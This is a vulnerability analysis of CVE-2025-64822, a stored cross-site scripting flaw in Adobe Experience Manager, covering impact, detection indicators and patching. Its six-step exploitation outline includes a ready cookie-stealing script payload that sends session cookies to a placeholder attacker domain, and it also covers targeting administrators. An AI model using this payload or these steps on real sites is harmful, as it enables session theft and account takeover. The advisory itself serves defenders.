CVE-2025-64822: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64822 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service releases prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, as part of Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) and the scope is changed, meaning the injected script can affect resources beyond the attacker's own session. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592), reflected XSS (CAPEC-591), and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to limited confidentiality and integrity impacts — such as session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. Because the payload is stored, any user who visits the affected page is at risk without further attacker interaction. The changed scope means the impact can extend beyond the attacker's own privilege level, potentially affecting other users or administrative accounts (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components) that lack proper output encoding.
4. Inject malicious payload: Submit a stored XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent event-handler-based payload.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse the page containing the stored payload, causing their browser to execute the malicious script.
6. Harvest results: Collect stolen session tokens, credentials, or perform unauthorized actions (e.g., privilege escalation, content modification) using the victim's session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• Logs: AEM error or audit logs recording unexpected content modifications or script injection attempts in form fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of <script> tags or JavaScript event handler attributes (e.g., onerror, onmouseover) within stored AEM content nodes in the JCR repository.

Adobe has released patches addressing CVE-2025-64822 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended and primary remediation. Additionally, organizations should review AEM content authoring permissions to limit who can submit content to sensitive form fields, and consider deploying a Web Application Firewall (WAF) with XSS filtering rules as a defense-in-depth measure (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday advisory (APSB25-115), which addressed a large number of AEM vulnerabilities. No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64822 has been identified beyond standard vulnerability tracking coverage on platforms such as Vulners and VulDB (Adobe Advisory).